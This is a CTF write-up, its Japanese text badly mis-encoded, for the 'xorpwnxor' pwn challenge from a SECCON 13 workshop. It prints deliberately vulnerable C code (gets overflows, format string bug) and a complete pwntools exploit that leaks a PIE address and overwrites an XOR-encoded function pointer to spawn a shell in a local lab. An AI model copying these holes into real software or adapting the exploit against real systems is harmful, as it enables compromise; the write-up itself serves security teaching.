ãSECCONãRWPL Pwn Challenge - xorpwnxor
ã¯ããã«
2025/3/1ã«å®æœããSECCON 13 é»è³äŒè°ã®RWPL WorkShopã§æäŸããããŸãPwnåé¡ã®WriteUpã§ãã
åé¡ã«ã€ããŠã¯ä»¥äžã®ãªããžããªã«ãŠå ¬éããŠããŸãïŒPwnã ããããªãæ¬é¡ã®Web hackingçšã®åé¡ããããŸãïŒã
RWPLã«ã€ããŠã¯ä»¥äžã®HPãåç §ããŠã¿ãŠãã ããã
ç°å¢æºå
Toolsã®ã€ã³ã¹ããŒã«
ã奜ããªx86ã®Linuxãã£ã¹ããªãã¥ãŒã·ã§ã³ïŒçè ã¯kali linuxïŒãçšæããŠä»¥äžã®Toolãã€ã³ã¹ããŒã«ããŠãã ããã
åé¡ç°å¢ã®æ§ç¯
以äžã®ã³ãã³ãã§åé¡ãããŠã³ããŒãããåé¡ãµãŒããèµ·åããŠãã ããã
git clone https://github.com/RWPL/seccon13-workshop
cd seccon13-workshop/xorpwnxor
chmod +x chal
sudo docker-compose up
nc localhost 4000
ãå®è¡ãã以äžã®ãããªã¡ãã»ãŒãžã衚瀺ãããã°åé¡ãµãŒããèµ·åããŠããŸãã
xorpwnxor
å®éã«åé¡ã解ããŠãããŸãã
æäŸãããŠããåé¡ã«é¢ãããã¡ã€ã«ã¯ä»¥äžã®éãã§ããããããã¿ãŠãããŸãã
- chal.c
- chal
ã³ãŒã解æ
ãŸãã¯chal.c
ãèŠãŠãããŸãã
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
typedef struct Object {
char name[64];
char description[128];
void (*func)(struct Object *);
} Object;
unsigned long key;
void secret_function(Object *obj) {
(void)obj;
puts("This is a safe function.");
}
void win(Object *obj) {
(void)obj;
system("/bin/sh");
}
void call_func(Object *obj) {
void (*decoded)(Object *);
decoded = (void (*)(Object *))(((unsigned long) obj->func) ^ key);
decoded(obj);
}
Object *create_object() {
Object *obj = malloc(sizeof(Object));
if (!obj) {
exit(1);
}
memset(obj, 0, sizeof(Object));
strncpy(obj->name, "default", sizeof(obj->name)-1);
obj->func = (void (*)(Object *))(((unsigned long) secret_function) ^ key);
return obj;
}
void edit_object(Object *obj) {
printf("Edit description: ");
gets(obj->description);
}
void rename_object(Object *obj) {
printf("Rename (input new name): ");
gets(obj->name);
}
void print_object(Object *obj) {
printf("Name: ");
printf(obj->name);
printf("\n");
printf("Description: %s\n", obj->description);
}
void delete_object(Object *obj) {
free(obj);
}
int main() {
setbuf(stdout, NULL);
key = rand();
Object *obj = create_object();
int choice;
while (1) {
printf("\nMenu:\n");
printf("1. View object\n");
printf("2. Edit object description\n");
printf("3. Rename object\n");
printf("4. Call object's function\n");
printf("5. Delete object\n");
printf("6. Allocate new object\n");
printf("7. Print libc info\n");
printf("8. Exit\n");
printf("Choice: ");
scanf("%d", &choice);
getchar();
switch(choice) {
case 1:
print_object(obj);
break;
case 2:
edit_object(obj);
break;
case 3:
rename_object(obj);
break;
case 4:
call_func(obj);
break;
case 5:
delete_object(obj);
break;
case 6:
obj = create_object();
break;
case 7:
printf("puts address: %p\n", puts);
break;
case 8:
exit(0);
break;
default:
printf("Invalid choice.\n");
}
}
return 0;
}
1-8ã®æ©èœããããæ§é äœããããã£ãŠããæ©èœãããããã§ããããŒãåé¡ãªåããããŸããã
æ°ã«ãªãæ©èœãšããŠã¯case 4
ã®call_func
ã§ããcall_func
ã¯obj->func
ãåŒã³åºããŠããŸããããã®åã«key
ã§obj->func
ãxorããŠããŸãã
create_object
ã§obj->func
ã«secret_function
ãxorããŠããã®ã§ãcall_func
ã§secret_function
ãåŒã³åºããšãã£ãæµãã«èŠããŸãã
確èªããŠã¿ãŸãã
åŒã³åºããŠããŸãããã§ã¯ãã®secret_function
ã®XORãããã¢ãã¬ã¹ãwin
ã®XORãããã¢ãã¬ã¹ã«æžãæããŠwin
ãåŒã³åºãã°Shellãã²ããåºæ¥ããã§ãã
ãŸãedit_object
ã«é¢ããŠã¯gets
ã䜿ãããŠå
¥åãåãä»ããŠããŸããç¹æ®µå
¥åå¶éãObjectã®ç¶æ
ãèŠãŠããªãã®ã§ãããã«Heap Buffer OverflowãUAFïŒfreeããHeapã«è²ã
ã§ãããïŒã®è匱æ§ãååšãããã§ãã
rename_object
ã«é¢ããŠãHeap Buffer OverflowãUAFã®è匱æ§ãåæ§ã«ããããã§ãã
print_object
ã«é¢ããŠã¯ä»¥äžã®ããã«printf(obj->name)
ã§çŽæ¥obj->name
ãåºåããŠããã®ã§ãFSBïŒFormat String BugïŒã®è匱æ§ãããããã§ãã
void print_object(Object *obj) {
printf("Name: ");
printf(obj->name);
printf("\n");
printf("Description: %s\n", obj->description);
}
è«žã
è匱æ§ãããã®ã§äœã䜿ã£ãŠãããè¿·ããŸãããåºæ¬çã«obj->func
ã®secret_function
ãwin
ã«æžãæãã ã®ããŽãŒã«ã«ãªãããã§ããã
ã§ã¯å®éã«chal
ãåãããŠã¿ãŸãã
åç解æ
chal
ãåãããŠã¿ãŸããpwndbgã䜿ã£ãŠè§£æããŠãããŸããgdbinit
fileã«ä»¥äžã®èšå®ãè¿œå ããŠãããšäŸ¿å©ã§ãã
# gdbinitã«pwndbgãã€ã³ã¹ããŒã«ãããã£ã¬ã¯ããªã®gdbinit.pyãèªã¿èŸŒã
source /[to_path_pwndbg]/pwndbg/gdbinit.py
以äžã®ã³ãã³ãã§chal
ãåãããŸãã
gdb ./chal
次ã«checksec
ã§ãã€ããªã®ã»ãã¥ãªãã£æ©æ§ã確èªããŸãã
ã»ãã¥ãªãã£æ©æ§ã®åé
ç®ãã©ã®ãããªãã®ãªã®ãã¯ä»¥äžã®ãªã³ã¯ãåç
§ããŠãã ããã
確èªããçµæã¯ä»¥äžã§ãã
PIE enabled
ã«ãªã£ãŠããã®ã§win
ã®ã¢ãã¬ã¹ãç¹å®ããã®ãé£ãããªãããã§ãã
é©åœã«ä»¥äžã®å®è¡ãããŠHeapã®ç¶æ ã確èªããŠã¿ãŸãã
vis
ã³ãã³ãã§Heapã®ç¶æ
ãèŠèŠçã«ç¢ºèªã§ããŸãã
edit_object
ãå©çšããŠdescription
é åã«å¯ŸããŠ0x80
以äžã®ãã€ãã泚å
¥ããŠHeap Buffer Overflowãå®æœããsecret_function
ã®ã¢ãã¬ã¹ãwin
ã®ã¢ãã¬ã¹ã«æžãæããããšãåºæ¥ããã§ããã
ãšããããã§ä»¥äž2ã€ã®æ å ±ãååŸåºæ¥ãã°ãExploitãæåãããã§ãã
-
key
ã®æ å ± -
win
ã®ã¢ãã¬ã¹ïŒPIE enabled
ã«ãã£ãŠå®è¡ããšã«ã¢ãã¬ã¹ãå€åããããïŒ
keyã®ç¹å®
key
ãã©ããã£ãå€ãåãã®ãå®éã«ç¢ºèªããŠã¿ãŸãã
以äžã³ãã³ãã§key
ãåŒã³åºãããŠããäœçœ®ãã¿ãŸãã
disass call_func
0x55555555533b
ã§rax
ã«key
ãæ ŒçŽããåœä»€ããããŸããããã«ãã¬ãŒã¯ãã€ã³ããèšå®ããŸãã
4ã®call_func
ãå®è¡ããŠã¿ãŸãã
n
ã§å®è¡ãé²ããŠãããšãrax
ã«key
ã®å€ãæ ŒçŽãããŠããããšãããããŸãã
次ã®åœä»€ã§rax
ãšrdx
ãXORããŠããã®ã§ããã®0x6b8b4567
ãkey
ãšããŠäœ¿ãããŠããããšãããããŸãããã³ãŒãã§ã¯key = rand();
ã§åŒã³åºãããŠããã®ã§æ¯åå€ããå¯èœæ§ããããŸãã
ã§ããåŸ
ã£ãŠãã ããããã®ã³ãŒããSeedãæå®ããŠãªãã®ã§å€ãåºå®ããããã§ããã
äœåºŠãå®è¡ããŠã¿ãã°ããããŸããããã®0x6b8b4567
ã®å€ãå€åããããšã¯ãããŸããã
ãªã®ã§ãkey
ã¯0x6b8b4567
ãšããŠåºå®ãããŠããããšãããããŸããã
winã®ã¢ãã¬ã¹ã®ç¹å®
win
ã®ã¢ãã¬ã¹ãç¹å®ããããã«FSBã®è匱æ§ãå©çšããŸããFSBã¯ã¹ã¿ãã¯äžã®ããŒã¿ãªãŒã¯ãã¡ã¢ãªãžã®æžã蟌ã¿ã«ããæ¹ãããå¯èœãªäŸ¿å©ãªè匱æ§ã§ãã
FSBã«ã€ããŠãã£ãšç¥ãããæ¹ã¯ä»¥äžã®ãªã³ã¯ãªã©ãåç
§ããŠãã ããã
ä»åã¯chal
ãã©ã®ã¢ãã¬ã¹ã«ããããããŠããã確èªãããã®ã§ã¡ã¢ãªãªãŒã¯ãè¡ããŸãã
äžå¿çŸåšã®ã¡ã¢ãªãããã確èªããŸããvmmap
ãšããã³ãã³ãã§ç¢ºèªã§ããŸãã
ã¡ã¢ãªãªãŒã¯ãè¡ãçºãobj->name
ã«èšå®ããæåãPythonã§ç°¡æã«äœæããŸãã
print(','.join(f'%{i}$p' for i in range(1,10)))
ãããrename_object
ã§å
¥åããprint_object
ã§åºåãããŸãã
%9$p
ã§åºåãããŠãã0x555555555600
ã®å€ãã©ã®ã¢ãã¬ã¹é åãªã®ã確èªããŸãã
chal
ã®ã¢ãã¬ã¹é åã確èªã§ããŸããããã®ãªãŒã¯ãããã¢ãã¬ã¹ããwin
ã®ã¢ãã¬ã¹ãçžå¯Ÿçã«ã©ããããé¢ããŠããã®ãèšç®ããŸãã
ãŸããinf func
ã³ãã³ãã§çŸåšã®win
ã®ã¢ãã¬ã¹ã確èªã§ããŸãã
0x00005555555552fb
ã«ããããã§ãããã§ã¯win
ã®ã¢ãã¬ã¹ãšãªãŒã¯ãããã¢ãã¬ã¹ã®å·®ãèšç®ããŸãã
ãªãŒã¯ã¢ãã¬ã¹ãã0x305
ã»ã©é¢ããã¢ãã¬ã¹ãwin
ã®ã¢ãã¬ã¹ã«åœããããã§ãã
ããã§key
ãšwin
ã®ã¢ãã¬ã¹ãç¹å®ã§ããã®ã§ãExploitãæžããŠãããŸãã
Exploit
以äžã®Pythonã³ãŒããçšæããŠExploitãå®è¡ã§ããŸãã
from pwn import *
import time
binfile = './chal'
rhost = 'localhost'
rport = 4000
gdb_script = '''
vis
'''
elf = ELF(binfile)
context.binary = elf
def conn():
if args.REMOTE:
p = remote(rhost, rport)
else:
p = process(elf.path)
return p
p = conn()
def view_obj():
p.sendlineafter(b'Choice:', b'1')
p.recvuntil(b'Name: ')
name = p.recvline()[:-1]
p.recvuntil(b'Description: ')
desc = p.recvline()[:-1]
return name, desc
def edit_obj(desc):
p.sendlineafter(b'Choice:', b'2')
p.sendlineafter(b'description: ', desc)
def rename_obj(name):
p.sendlineafter(b'Choice:', b'3')
p.sendlineafter(b'name): ', name)
def call_obj():
p.sendlineafter(b'Choice:', b'4')
key = 0x6b8b4567 # no seed
rename_obj(b'%9$p')
leak, _ = view_obj()
print("Leak addr: ", leak)
win = int(leak,16) - (0x555555555600-0x00005555555552fb) # 0x305
print("Win: ", hex(win))
payload = b'A'*0x80
payload += pack(win^key)
edit_obj(payload)
# gdb.attach(p, gdbscript=gdb_script)
# time.sleep(1)
call_obj()
p.interactive()
gdb_script = '''
vis
'''
# gdb.attach(p, gdbscript=gdb_script)
# time.sleep(1)
å®è¡ãããšãã®ããã«Shellãã²ããã§ããŸãã
ãããã«
ä»åã¯SECCON 13 é»è³äŒè°ã®RWPL Workshopã§æäŸããPwnåé¡ã®WriteUpãèšèŒããŸããã
çãã楜ããã§é ãããªã幞ãã§ãã
Discussion